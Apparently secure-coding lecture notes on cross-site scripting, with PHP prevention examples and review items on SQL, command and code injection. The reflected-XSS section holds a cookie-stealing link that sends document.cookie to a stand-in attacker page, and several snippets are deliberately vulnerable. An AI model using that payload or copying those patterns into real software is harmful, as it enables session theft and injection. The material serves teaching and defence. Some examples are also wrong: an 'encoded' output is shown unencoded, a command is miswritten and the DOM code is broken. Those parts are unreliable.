Cross-Site Scripting (XSS) Explained

Secure Software Implementation/Coding: Domain 4

• Lecture focuses on Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

• It is a security vulnerability commonly found in web applications
• Allows attackers to inject malicious scripts into web pages viewed by other users
• Malicious scripts can be executed in the victim's browser
• Can lead to harmful actions like:
  • Stealing session tokens
  • Manipulating web content
  • Redirecting users to malicious websites

Types of XSS

• Stored XSS (Persistent XSS)
• Reflected XSS (Non-Persistent XSS)
• DOM-Based XSS

Stored XSS

• Involves injecting malicious scripts into a web application
• Scripts are stored on the server and delivered to other users when they access affected pages.
• An author/attacker can input a malicious script into a blog post
• When an administrator views the blog dashboard, the script can be executed to steal session cookies.
• Attackers database recieves cookie information
• Attackers logs into admin account

Preventing Stored XSS

• Input Validation and Sanitization: Sanitize data before it is stored in the database using functions like htmlspecialchars()
• Output Encoding: Encode data before displaying it to users.
• Use Security Libraries: Use security libraries and frameworks with built-in XSS protection, such as Django, Laravel, and Ruby on Rails.

Example Prevention Code 1

$comment = $_POST['comment'];
$isValid=validateComment($_POST['comment']);
if($isValid){
  $comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
}else{
  //Invalid Message
}

• This code sanitizes comments but does store in the database

Example Prevention Code 2

$row=getComment($id);
echo "<p>". htmlspecialchars($row['comment'], ENT_QUOTES, 'UTF-8') ."</p>";

• This example shows proper sanitization and database usage

Reflected XSS

• Reflected XSS is also known as Non-Persistent XSS
• Occurs when user-supplied data is immediately processed and reflected back to the user
• The data is not properly sanitized or encoded
• Happens when a web application includes untrusted data in a page's HTML or JavaScript without proper escaping
• The attack payload is executed immediately
• The search query entered by the teacher is reflected directly on the results page without proper sanitization or encoding.

Reflected XSS Example

• A student crafts a malicious message with a malicious URL

<a href="http://localhost/teacher.php?search=<script>document.location='http://localhost/xss/attacker.php?cookies='+document.cookie;</script>">in this link</a>

• The teacher clicks this link
• The following PHP script is run

<?php
$student_name = $_GET['search'];
echo "Search results for: ".$student_name;
//Database Search and Result
?>

• The cookie information is sent to attacker database
• The attack can change grades, access sensitive data, modify course content, and post inappropriate content.

Preventing Reflected XSS

• Proper Input/output Validation, Sanitization, and Encoding: Use functions like htmlspecialchars()

<?php
$student_name = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: ".$student_name;
//Database Search and Result
?>

• Ensures that any potentially malicious input is rendered harmless by converting special characters into their HTML entity equivalents.
• Use Content Security Policy (CSP):
  • CSP blocks inline scripts
  • CSP only allows scripts from the application's own domain.

CSP Example

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

• Can be implemented with the following PHP scripting

$trustedScriptSource = "https://trusted-cdn.com";
$trustedImageSource = "https://trusted-image-source.com";
header("Content-Security-Policy: default-src 'self';
script-src 'self' $trustedScriptSource;
img-src 'self' $trustedImageSource;");

• Limit the Use of User-Provided Data in Responses: Minimize the reflection of user-provided data in the HTML response.
• Use HTTP-Only and Secure Cookies: Prevents access via JavaScript.

setcookie('PHPSESSID', session_id(), [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
]);

Reflected XSS Best Practices

• Always escape output before rendering it in the browser.
• Validate and Sanitize user input on both the client and server sides.
• Use a framework that includes built-in protections against XSS, such as Django, Ruby on Rails, or Laravel.
• Use a Content Security Policy to prevent the execution of malicious scripts.
• Enable security headers like X-XSS-Protection and Content-Security-Policy.
• Perform regular security audits and penetration testing to identify XSS vulnerabilities.
• Test application with XSS vulnerability scanners and penetration testing tools (e.g., OWASP ZAP, Burp Suite).

DOM-based XSS

• DOM (Document Object Model) XSS occurs when the client-side script of a web application modifies the DOM based on user input
• DOM XSS is entirely client-side
• Malicious script is executed within the browser without any server-side interaction.

DOM XSS Exploits

• An attacker can steal sensitive information
  • Cookies
  • Session tokens
  • User credentials
• Perform actions on behalf of the victim
  • Submitting forums
  • Clicking Links
• Inject malicious scripts
  • Can be used for phishing
  • Spreading malware
• modify the appearance or behavior of the web application in unintended ways.

DOM XSS Example

• URL with injected malicious scripts using the # symbol

https://example.com/#<script>alert('XSS')</script>

• Insecure HTML

<h1>Welcome</h1>
<p id="welcome-message"></p>

• Resulting Javascript

var hash = window.location.hash.substring(1);
document.getElementById('welcome-message').innerHTML = "Hello, " + hash;
var user = location.hash.substring(1);
document.write("<h2>Welcome, " + user + "</h2>");
var user = location.hash.substring(1);
document.createElement('h2');
h2.textContent = "Welcome, " + user;
document.body.appendChild(h2);

Review Questions

SQL Injection Attack

• A technique used to insert malicious code into a database query

SQL Query Vulnerability

• SQL query will return all users in the table if $GET[‘id’] is set to (1 OR 1=1)

Command Injection Attack

• Attack allows unauthorized commands to be executed on the server

Command Injection Code Example

$cmd = $_GET['cmd'];
exec("Is -I $cmd");

• The above code is vulnerable to command injection
• It allows an attacker to execute arbitrary commands

SQL Injection Prevention

• Using prepared statements and parameterized queries are the best way to prevent SQL injection attacks

File Inclusion Prevention

• Can prevent file inclusion vulnerabilities by only allowing predefined file paths or using realpath() to verify file paths

Code Injection

• Injecting executable code into a program is a type of injection attack

Eval Dangers

• Using the eval() function in PHP can lead to Code Injection attacks if user input is passed directly to eval()

Input Sanitization

• Input sanitization in web applications removes or escapes dangerous characters from user input

Sanitization vs Validation

• Sanitization removes harmful data
• Validation checks if the data conforms to expected formats or rules

PHP Code Output

$input = "<script>alert('xss')</script>";
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

• This will output in the HTML

<script>alert('XSS')</script>

• The special characters have been encoded

More PHP code output

$input = "<b>Hello</b>";
echo strip_tags($input);

• The following code will output

Hello

PHP Escape Codes

• When a PHP script contains

$input = O'Reilly;
echo mysqli_real_escape_string($conn, $input);

• It's output code is

O\'Reilly

Sanitization Code

• When running the following code

$input = "<h1>Welcome!</h1>";
echo filter_var($input, FILTER_SANITIZE_STRING);

• The result is

Welcome!

Stored XSS Description

• Stored XSS involves malicious scripts
• Scripts are injected into a webpage and stored in a database or server
• Stores XSS affects multiple users

Stored XSS Vulnerability

$message = $_POST['message'];
$query = "INSERT INTO comments (comment) VALUES ('$message')";
mysqli_query($conn, $query);

• Is located where the user input is not sanitized before being stored in the database

Stored XSS Attacks are Capable of...

• Stealing cookies and session tokens

What if "<script>alert('XSS')</script>" runs in a blog?

• If the following input is stored in a comment field on a blog it will execute a JavaScript alert in other users browsers.

Stored XSS Prevention

• Escaping SQL queries is NOT a common prevention technique

How to prevent Stored XSS?

  $input = $_POST['message'];
  $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
  echo $safe_input;

• This code prevents Javascript from being executed by encoding special characters

Preventing Stored XSS

$user_input = $_POST['feedback'];
$safe_input = strip_tags($user_input);
echo $safe_input;

• The code helps prevent Stored XSS by removing any HTML tags from the input

Htmlspecialchars Prevention

• The main reason to use is to escape special characters like <, >, and &

Reflected XSS

• Involves malicious script that is reflected off a web application and executed in the user's browser

Main Security Reflected XSS Problem

$name = $_GET['name'];
echo "Hello, $name!";

• The code is vulnerable to Reflected XSS because it outputs unsanitized user input directly.

Reflected XSS is capable of...

• Executing malicious scripts in the user's browser

Potential Reflected XSS Vulnerability

$search = $_GET['search'];
echo "Search results for: $search";

• The following input can cause Reflected XSS in the vulnerable code above.

<script>alert('XSS');</script>

DOM XSS is a type of

• Involves document object model exploits

This lecture explains Cross-Site Scripting (XSS), a common web application vulnerability. Attackers inject malicious scripts into web pages viewed by other users, leading to harmful actions. The lecture covers the types of XSS, including stored, reflected, and DOM-based XSS.